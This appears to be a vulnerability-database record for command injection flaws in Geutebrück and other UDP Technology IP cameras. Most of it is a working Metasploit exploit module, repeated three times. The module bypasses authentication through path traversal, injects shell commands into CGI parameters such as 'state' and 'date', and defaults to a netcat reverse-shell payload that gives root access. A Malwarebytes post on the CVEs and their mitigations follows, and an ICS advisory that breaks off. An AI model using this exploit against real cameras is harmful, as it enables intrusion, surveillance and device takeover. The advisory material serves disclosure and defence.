Multiple camera devices by UDP Technology, Geutebrück and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.
{"metasploit": [{"lastseen": "2022-06-24T08:37:01", "description": "This module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder and exploits multiple authenticated arbitrary command execution vulnerabilities within the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.27 as well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in remote code execution as the root user.\n", "cvss3": {}, "published": "2021-08-31T23:24:14", "type": "metasploit", "title": "Geutebruck Multiple Remote Command Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-33544", "CVE-2021-33548", "CVE-2021-33550", "CVE-2021-33551", "CVE-2021-33552", "CVE-2021-33553", "CVE-2021-33554"], "modified": "2021-08-31T23:25:01", "id": "MSF:EXPLOIT-LINUX-HTTP-GEUTEBRUCK_CMDINJECT_CVE_2021_335XX-", "href": "https://www.rapid7.com/db/modules/exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n prepend Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Geutebruck Multiple Remote Command Execution',\n 'Description' => %q{\n This module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder\n and exploits multiple authenticated arbitrary command execution vulnerabilities within\n the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx,\n EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.27 as\n well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in\n remote code execution as the root user.\n },\n\n 'Author' => [\n 'Titouan Lazard', # Of RandoriSec - Discovery\n 'Ibrahim Ayadhi', # Of RandoriSec - Discovery and Metasploit Module\n 'S\u00e9bastien Charbonnier' # Of RandoriSec - Metasploit Module\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n ['CVE', '2021-33543'],\n ['CVE', '2021-33544'],\n ['CVE', '2021-33548'],\n ['CVE', '2021-33550'],\n ['CVE', '2021-33551'],\n ['CVE', '2021-33552'],\n ['CVE', '2021-33553'],\n ['CVE', '2021-33554'],\n [ 'URL', 'http://geutebruck.com' ],\n [ 'URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],\n [ 'URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']\n ],\n 'DisclosureDate' => '2021-07-08',\n 'Privileged' => true,\n 'Platform' => ['unix', 'linux'],\n 'Arch' => [ARCH_CMD],\n 'Targets' => [\n [\n 'CVE-2021-33544 - certmngr.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => {\n 'action' => 'createselfcert',\n 'local' => Rex::Text.rand_text_alphanumeric(10..16),\n 'country' => Rex::Text.rand_text_alphanumeric(2),\n 'state' => '$(PLACEHOLDER_CMD)',\n 'organization' => Rex::Text.rand_text_alphanumeric(10..16),\n 'organizationunit' => Rex::Text.rand_text_alphanumeric(10..16),\n 'commonname' => Rex::Text.rand_text_alphanumeric(10..16),\n 'days' => Rex::Text.rand_text_numeric(2..4),\n 'type' => Rex::Text.rand_text_numeric(2..4)\n },\n 'uri' => '/../uapi-cgi/certmngr.cgi'\n }\n ],\n [\n 'CVE-2021-33548 - factory.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => { 'preserve' => '$(PLACEHOLDER_CMD)' },\n 'uri' => '/../uapi-cgi/factory.cgi'\n }\n ],\n [\n 'CVE-2021-33550 - language.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => { 'date' => '$(PLACEHOLDER_CMD)' },\n 'uri' => '/../uapi-cgi/language.cgi'\n }\n ],\n [\n 'CVE-2021-33551 - oem.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => {\n 'action' => 'set',\n 'enable' => 'yes',\n 'environment.lang' => '$(PLACEHOLDER_CMD)'\n },\n 'uri' => '/../uapi-cgi/oem.cgi'\n }\n ],\n [\n 'CVE-2021-33552 - simple_reclistjs.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => {\n 'action' => 'get',\n 'timekey' => Rex::Text.rand_text_numeric(2..4),\n 'date' => '$(PLACEHOLDER_CMD)'\n },\n 'uri' => '/../uapi-cgi/simple_reclistjs.cgi'\n }\n ],\n [\n 'CVE-2021-33553 - testcmd.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => { 'command' => 'PLACEHOLDER_CMD' },\n 'uri' => '/../uapi-cgi/testcmd.cgi'\n }\n ],\n [\n 'CVE-2021-33554 - tmpapp.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => { 'appfile.filename' => '$(PLACEHOLDER_CMD)' },\n 'uri' => '/../uapi-cgi/tmpapp.cgi'\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'\n },\n 'Notes' => {\n 'Stability' => ['CRASH_SAFE'],\n 'Reliability' => ['REPEATABLE_SESSION'],\n 'SideEffects' => ['ARTIFACTS_ON_DISK']\n }\n )\n )\n end\n\n def firmware\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => '/brand.xml'\n )\n unless res\n print_error('Connection failed!')\n return false\n end\n\n unless res&.body && !res.body.empty?\n print_error('Empty body in the response!')\n return false\n end\n\n res_xml = res.get_xml_document\n if res_xml.at('//firmware').nil?\n print_error('Target did not respond with a XML document containing the \"firmware\" element!')\n return false\n end\n raw_text = res_xml.at('//firmware').text\n if raw_text && raw_text.match(/\\d\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/)\n raw_text.match(/\\d\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/)[0]\n else\n print_error('Target responded with a XML document containing the \"firmware\" element but its not a valid version string!')\n false\n end\n end\n\n def check\n version = firmware\n if version == false\n return CheckCode::Unknown('Target did not respond with a valid XML response that we could retrieve the version from!')\n end\n\n rex_version = Rex::Version.new(version)\n vprint_status(\"Found Geutebruck version #{rex_version}\")\n if rex_version <= Rex::Version.new('1.12.0.27') || rex_version == Rex::Version.new('1.12.13.2') || rex_version == Rex::Version.new('1.12.14.5')\n return CheckCode::Appears\n end\n\n CheckCode::Safe\n end\n\n def exploit\n print_status(\"#{rhost}:#{rport} - Setting up request...\")\n\n method = target['http_method']\n if method == 'GET'\n http_method_vars = 'vars_get'\n else\n http_method_vars = 'vars_post'\n end\n\n http_vars = target['http_vars']\n http_vars.each do |(k, v)|\n if v.include? 'PLACEHOLDER_CMD'\n http_vars[k]['PLACEHOLDER_CMD'] = payload.encoded\n end\n end\n\n print_status(\"Sending CMD injection request to #{rhost}:#{rport}\")\n send_request_cgi(\n {\n 'method' => method,\n 'uri' => target['uri'],\n http_method_vars => http_vars\n }\n )\n print_status('Exploit complete, you should get a shell as the root user!')\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/geutebruck_cmdinject_cve_2021_335xx.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "zdt": [{"lastseen": "2022-04-11T23:56:01", "description": "This Metasploit module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder and exploits multiple authenticated arbitrary command execution vulnerabilities within the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions 1.12.0.27 and below as well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in remote code execution as the root user.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-09-02T00:00:00", "type": "zdt", "title": "Geutebruck Remote Command Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33543", "CVE-2021-33544", "CVE-2021-33548", "CVE-2021-33550", "CVE-2021-33551", "CVE-2021-33552", "CVE-2021-33553", "CVE-2021-33554"], "modified": "2021-09-02T00:00:00", "id": "1337DAY-ID-36710", "href": "https://0day.today/exploit/description/36710", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n prepend Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Geutebruck Multiple Remote Command Execution',\n 'Description' => %q{\n This module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder\n and exploits multiple authenticated arbitrary command execution vulnerabilities within\n the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx,\n EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.27 as\n well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in\n remote code execution as the root user.\n },\n\n 'Author' => [\n 'Titouan Lazard', # Of RandoriSec - Discovery\n 'Ibrahim Ayadhi', # Of RandoriSec - Discovery and Metasploit Module\n 'S\u00e9bastien Charbonnier' # Of RandoriSec - Metasploit Module\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n ['CVE', '2021-33543'],\n ['CVE', '2021-33544'],\n ['CVE', '2021-33548'],\n ['CVE', '2021-33550'],\n ['CVE', '2021-33551'],\n ['CVE', '2021-33552'],\n ['CVE', '2021-33553'],\n ['CVE', '2021-33554'],\n [ 'URL', 'http://geutebruck.com' ],\n [ 'URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],\n [ 'URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']\n ],\n 'DisclosureDate' => '2021-07-08',\n 'Privileged' => true,\n 'Platform' => ['unix', 'linux'],\n 'Arch' => [ARCH_CMD],\n 'Targets' => [\n [\n 'CVE-2021-33544 - certmngr.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => {\n 'action' => 'createselfcert',\n 'local' => Rex::Text.rand_text_alphanumeric(10..16),\n 'country' => Rex::Text.rand_text_alphanumeric(2),\n 'state' => '$(PLACEHOLDER_CMD)',\n 'organization' => Rex::Text.rand_text_alphanumeric(10..16),\n 'organizationunit' => Rex::Text.rand_text_alphanumeric(10..16),\n 'commonname' => Rex::Text.rand_text_alphanumeric(10..16),\n 'days' => Rex::Text.rand_text_numeric(2..4),\n 'type' => Rex::Text.rand_text_numeric(2..4)\n },\n 'uri' => '/../uapi-cgi/certmngr.cgi'\n }\n ],\n [\n 'CVE-2021-33548 - factory.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => { 'preserve' => '$(PLACEHOLDER_CMD)' },\n 'uri' => '/../uapi-cgi/factory.cgi'\n }\n ],\n [\n 'CVE-2021-33550 - language.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => { 'date' => '$(PLACEHOLDER_CMD)' },\n 'uri' => '/../uapi-cgi/language.cgi'\n }\n ],\n [\n 'CVE-2021-33551 - oem.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => {\n 'action' => 'set',\n 'enable' => 'yes',\n 'environment.lang' => '$(PLACEHOLDER_CMD)'\n },\n 'uri' => '/../uapi-cgi/oem.cgi'\n }\n ],\n [\n 'CVE-2021-33552 - simple_reclistjs.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => {\n 'action' => 'get',\n 'timekey' => Rex::Text.rand_text_numeric(2..4),\n 'date' => '$(PLACEHOLDER_CMD)'\n },\n 'uri' => '/../uapi-cgi/simple_reclistjs.cgi'\n }\n ],\n [\n 'CVE-2021-33553 - testcmd.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => { 'command' => 'PLACEHOLDER_CMD' },\n 'uri' => '/../uapi-cgi/testcmd.cgi'\n }\n ],\n [\n 'CVE-2021-33554 - tmpapp.cgi', {\n 'http_method' => 'GET',\n 'http_vars' => { 'appfile.filename' => '$(PLACEHOLDER_CMD)' },\n 'uri' => '/../uapi-cgi/tmpapp.cgi'\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'\n },\n 'Notes' => {\n 'Stability' => ['CRASH_SAFE'],\n 'Reliability' => ['REPEATABLE_SESSION'],\n 'SideEffects' => ['ARTIFACTS_ON_DISK']\n }\n )\n )\n end\n\n def firmware\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => '/brand.xml'\n )\n unless res\n print_error('Connection failed!')\n return false\n end\n\n unless res&.body && !res.body.empty?\n print_error('Empty body in the response!')\n return false\n end\n\n res_xml = res.get_xml_document\n if res_xml.at('//firmware').nil?\n print_error('Target did not respond with a XML document containing the \"firmware\" element!')\n return false\n end\n raw_text = res_xml.at('//firmware').text\n if raw_text && raw_text.match(/\\d\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/)\n raw_text.match(/\\d\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/)[0]\n else\n print_error('Target responded with a XML document containing the \"firmware\" element but its not a valid version string!')\n false\n end\n end\n\n def check\n version = firmware\n if version == false\n return CheckCode::Unknown('Target did not respond with a valid XML response that we could retrieve the version from!')\n end\n\n rex_version = Rex::Version.new(version)\n vprint_status(\"Found Geutebruck version #{rex_version}\")\n if rex_version <= Rex::Version.new('1.12.0.27') || rex_version == Rex::Version.new('1.12.13.2') || rex_version == Rex::Version.new('1.12.14.5')\n return CheckCode::Appears\n end\n\n CheckCode::Safe\n end\n\n def exploit\n print_status(\"#{rhost}:#{rport} - Setting up request...\")\n\n method = target['http_method']\n if method == 'GET'\n http_method_vars = 'vars_get'\n else\n http_method_vars = 'vars_post'\n end\n\n http_vars = target['http_vars']\n http_vars.each do |(k, v)|\n if v.include? 'PLACEHOLDER_CMD'\n http_vars[k]['PLACEHOLDER_CMD'] = payload.encoded\n end\n end\n\n print_status(\"Sending CMD injection request to #{rhost}:#{rport}\")\n send_request_cgi(\n {\n 'method' => method,\n 'uri' => target['uri'],\n http_method_vars => http_vars\n }\n )\n print_status('Exploit complete, you should get a shell as the root user!')\n end\nend\n", "sourceHref": "https://0day.today/exploit/36710", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2021-09-02T15:42:28", "description": "", "cvss3": {}, "published": "2021-09-02T00:00:00", "type": "packetstorm", "title": "Geutebruck Remote Command Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-33543", "CVE-2021-33544", "CVE-2021-33548", "CVE-2021-33550", "CVE-2021-33551", "CVE-2021-33552", "CVE-2021-33553", "CVE-2021-33554"], "modified": "2021-09-02T00:00:00", "id": "PACKETSTORM:164036", "href": "https://packetstormsecurity.com/files/164036/Geutebruck-Remote-Command-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \nprepend Msf::Exploit::Remote::AutoCheck \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Geutebruck Multiple Remote Command Execution', \n'Description' => %q{ \nThis module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder \nand exploits multiple authenticated arbitrary command execution vulnerabilities within \nthe parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, \nEFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.27 as \nwell as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in \nremote code execution as the root user. \n}, \n \n'Author' => [ \n'Titouan Lazard', # Of RandoriSec - Discovery \n'Ibrahim Ayadhi', # Of RandoriSec - Discovery and Metasploit Module \n'S\u00e9bastien Charbonnier' # Of RandoriSec - Metasploit Module \n], \n'License' => MSF_LICENSE, \n'References' => [ \n['CVE', '2021-33543'], \n['CVE', '2021-33544'], \n['CVE', '2021-33548'], \n['CVE', '2021-33550'], \n['CVE', '2021-33551'], \n['CVE', '2021-33552'], \n['CVE', '2021-33553'], \n['CVE', '2021-33554'], \n[ 'URL', 'http://geutebruck.com' ], \n[ 'URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'], \n[ 'URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03'] \n], \n'DisclosureDate' => '2021-07-08', \n'Privileged' => true, \n'Platform' => ['unix', 'linux'], \n'Arch' => [ARCH_CMD], \n'Targets' => [ \n[ \n'CVE-2021-33544 - certmngr.cgi', { \n'http_method' => 'GET', \n'http_vars' => { \n'action' => 'createselfcert', \n'local' => Rex::Text.rand_text_alphanumeric(10..16), \n'country' => Rex::Text.rand_text_alphanumeric(2), \n'state' => '$(PLACEHOLDER_CMD)', \n'organization' => Rex::Text.rand_text_alphanumeric(10..16), \n'organizationunit' => Rex::Text.rand_text_alphanumeric(10..16), \n'commonname' => Rex::Text.rand_text_alphanumeric(10..16), \n'days' => Rex::Text.rand_text_numeric(2..4), \n'type' => Rex::Text.rand_text_numeric(2..4) \n}, \n'uri' => '/../uapi-cgi/certmngr.cgi' \n} \n], \n[ \n'CVE-2021-33548 - factory.cgi', { \n'http_method' => 'GET', \n'http_vars' => { 'preserve' => '$(PLACEHOLDER_CMD)' }, \n'uri' => '/../uapi-cgi/factory.cgi' \n} \n], \n[ \n'CVE-2021-33550 - language.cgi', { \n'http_method' => 'GET', \n'http_vars' => { 'date' => '$(PLACEHOLDER_CMD)' }, \n'uri' => '/../uapi-cgi/language.cgi' \n} \n], \n[ \n'CVE-2021-33551 - oem.cgi', { \n'http_method' => 'GET', \n'http_vars' => { \n'action' => 'set', \n'enable' => 'yes', \n'environment.lang' => '$(PLACEHOLDER_CMD)' \n}, \n'uri' => '/../uapi-cgi/oem.cgi' \n} \n], \n[ \n'CVE-2021-33552 - simple_reclistjs.cgi', { \n'http_method' => 'GET', \n'http_vars' => { \n'action' => 'get', \n'timekey' => Rex::Text.rand_text_numeric(2..4), \n'date' => '$(PLACEHOLDER_CMD)' \n}, \n'uri' => '/../uapi-cgi/simple_reclistjs.cgi' \n} \n], \n[ \n'CVE-2021-33553 - testcmd.cgi', { \n'http_method' => 'GET', \n'http_vars' => { 'command' => 'PLACEHOLDER_CMD' }, \n'uri' => '/../uapi-cgi/testcmd.cgi' \n} \n], \n[ \n'CVE-2021-33554 - tmpapp.cgi', { \n'http_method' => 'GET', \n'http_vars' => { 'appfile.filename' => '$(PLACEHOLDER_CMD)' }, \n'uri' => '/../uapi-cgi/tmpapp.cgi' \n} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' \n}, \n'Notes' => { \n'Stability' => ['CRASH_SAFE'], \n'Reliability' => ['REPEATABLE_SESSION'], \n'SideEffects' => ['ARTIFACTS_ON_DISK'] \n} \n) \n) \nend \n \ndef firmware \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => '/brand.xml' \n) \nunless res \nprint_error('Connection failed!') \nreturn false \nend \n \nunless res&.body && !res.body.empty? \nprint_error('Empty body in the response!') \nreturn false \nend \n \nres_xml = res.get_xml_document \nif res_xml.at('//firmware').nil? \nprint_error('Target did not respond with a XML document containing the \"firmware\" element!') \nreturn false \nend \nraw_text = res_xml.at('//firmware').text \nif raw_text && raw_text.match(/\\d\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/) \nraw_text.match(/\\d\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/)[0] \nelse \nprint_error('Target responded with a XML document containing the \"firmware\" element but its not a valid version string!') \nfalse \nend \nend \n \ndef check \nversion = firmware \nif version == false \nreturn CheckCode::Unknown('Target did not respond with a valid XML response that we could retrieve the version from!') \nend \n \nrex_version = Rex::Version.new(version) \nvprint_status(\"Found Geutebruck version #{rex_version}\") \nif rex_version <= Rex::Version.new('1.12.0.27') || rex_version == Rex::Version.new('1.12.13.2') || rex_version == Rex::Version.new('1.12.14.5') \nreturn CheckCode::Appears \nend \n \nCheckCode::Safe \nend \n \ndef exploit \nprint_status(\"#{rhost}:#{rport} - Setting up request...\") \n \nmethod = target['http_method'] \nif method == 'GET' \nhttp_method_vars = 'vars_get' \nelse \nhttp_method_vars = 'vars_post' \nend \n \nhttp_vars = target['http_vars'] \nhttp_vars.each do |(k, v)| \nif v.include? 'PLACEHOLDER_CMD' \nhttp_vars[k]['PLACEHOLDER_CMD'] = payload.encoded \nend \nend \n \nprint_status(\"Sending CMD injection request to #{rhost}:#{rport}\") \nsend_request_cgi( \n{ \n'method' => method, \n'uri' => target['uri'], \nhttp_method_vars => http_vars \n} \n) \nprint_status('Exploit complete, you should get a shell as the root user!') \nend \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/164036/geutebruck_cmdinject_cve_2021_335xx.rb.txt", "cvss": {"score": 0.0, "vector": "NONE"}}], "malwarebytes": [{"lastseen": "2021-07-28T16:33:23", "description": "Researchers at [RandoriSec](<https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/>) have found serious vulnerabilities in the firmware provided by UDP Technology to [Geutebr\u00fcck](<https://www.geutebrueck.com/>) and many other IP camera vendors. According to the researchers the firmware supplier UDP Technology fails to respond to their reports despite numerous mails and LinkedIn messages.\n\nBecause of this unwillingness of UDP Technology to respond, RandoriSec worked with Geutebr\u00fcck, one of the camera vendors, to correct the 11 authenticated RCE vulnerabilities and a complete authentication bypass that they found in the firmware.\n\n### History lessons\n\nRandoriSec had found vulnerabilities in previous versions of the UDP technology firmware and knew from that previous experience that they could expect to be stonewalled when they reported the new vulnerabilities. UDP Technology provides firmware for several IP camera manufacturers, like:\n\n * Geutebruck\n * Ganz\n * Visualint\n * Cap\n * THRIVE Intelligence\n * Sophus\n * VCA\n * TripCorps\n * Sprinx Technologies\n * Smartec\n * Riva\n * and the camera\u2019s they sell under their own brand name.\n\n### CISA\n\nThe Cybersecurity & Infrastructure Security Agency issued an [advisory](<https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03>) about the two Geutebr\u00fcck IP camera types that were confirmed to be vulnerable, the G-Cam E2 and G-Code.\n\nThe CISA advisory includes the [CVE identifiers](<https://blog.malwarebytes.com/glossary/cve-identifier/>) for the found vulnerabilities. Publicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). \n\n[CVE-2021-33543](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33543>) Missing authentication: allows unauthenticated remote access to sensitive files due to default user authentication settings.\n\n[CVE-2021-33544](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33544>) RCE: the affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33545](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33545>) RCE: The affected product is vulnerable to a stack-based buffer overflow condition in the counter parameter which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33546](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33546>) RCE: The affected product is vulnerable to a stack-based buffer overflow condition in the name parameter, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33547](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33547>) RCE: The affected product is vulnerable to a stack-based buffer overflow condition in the profile parameter which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33548](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33548>) RCE: The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33549](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33549>) RCE: The affected product is vulnerable to a stack-based buffer overflow condition in the action parameter, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33550](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33550>) RCE: The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33551](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33551>) RCE: The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33552](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33552>) RCE: The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33553](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33553>) RCE: The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33554](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33554>) RCE: The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n### Impact of the vulnerabilities\n\nAs you can imagine, the combination of unauthorized access to sensitive files combined with that many RCE vulnerabilities creates a treasure trove for attackers, and finding an attack method that works for you is trivial. And it should not come as a surprise that public exploits are available.\n\nEven an attacker having access to your live-stream can be bad enough, but an attacker that has full control of your IP camera is even worse. And, what's more, a combination of the unauthorized access and some of the RCE vulnerabilities can allow an attacker to achieve root on the IP cameras that are running on the vulnerable firmware.\n\n### Mitigation\n\nFor the mentioned Geutebr\u00fcck cameras, a patch is [available](<https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F&data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000&sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D&reserved=0>) (Login required) and should be installed as soon as possible. Users are urgently recommended to update to firmware Version 1.12.14.7 or later. Geutebr\u00fcck worked with RandoriSec to make sure their patch fixes the vulnerabilities.\n\nFor users of other IP cameras we can not do much more than to recommend to either disable/replace the cameras and certainly query the vendors to find out whether their cameras suffer from the same vulnerabilities.\n\nAs a general advice for users of [IoT](<https://blog.malwarebytes.com/101/2017/12/internet-things-iot-security-never/>) devices, you can follow these CISA recommendations:\n\n * Change the default passwords of the cameras.\n * Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.\n * Locate control system networks and remote devices behind firewalls and isolate them from the business network.\n * When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that a VPN is only as secure as the connected devices.\n\nVendors of the IP cameras running UDP Technology firmware are encouraged to ask some serious questions about the development of the firmware and why UDP Technology chooses not to work with security researchers in a way that benefits all the IP camera vendors instead of only the one working with the researchers. Geutebr\u00fcck users know which types are vulnerable and can remedy the vulnerabilities by installing a patch. Users of the other brands are left guessing, from reading between the lines in the RandoriSec blogpost, we fear the worst.\n\nFor a complete technical analysis of how the researchers found the vulnerabilities, you are encouraged to read the [RadoriSec blog](<https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/>) about it.\n\nThe post [UDP Technology IP Camera firmware vulnerabilities allow for attacker to achieve root](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/udp-technology-ip-camera-firmware-vulnerabilities-allow-for-attacker-to-achieve-root/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {}, "published": "2021-07-28T13:04:39", "type": "malwarebytes", "title": "UDP Technology IP Camera firmware vulnerabilities allow for attacker to achieve root", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-33543", "CVE-2021-33544", "CVE-2021-33545", "CVE-2021-33546", "CVE-2021-33547", "CVE-2021-33548", "CVE-2021-33549", "CVE-2021-33550", "CVE-2021-33551", "CVE-2021-33552", "CVE-2021-33553", "CVE-2021-33554"], "modified": "2021-07-28T13:04:39", "id": "MALWAREBYTES:9B3D79CAF7E799FA5C5583B0FFCAB466", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/udp-technology-ip-camera-firmware-vulnerabilities-allow-for-attacker-to-achieve-root/", "cvss": {"score": 0.0, "vector": "NONE"}}], "ics": [{"lastseen": "2022-04-26T21:42:34", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 9.8**\n * **ATTENTION: **Exploitable remotely/low attack 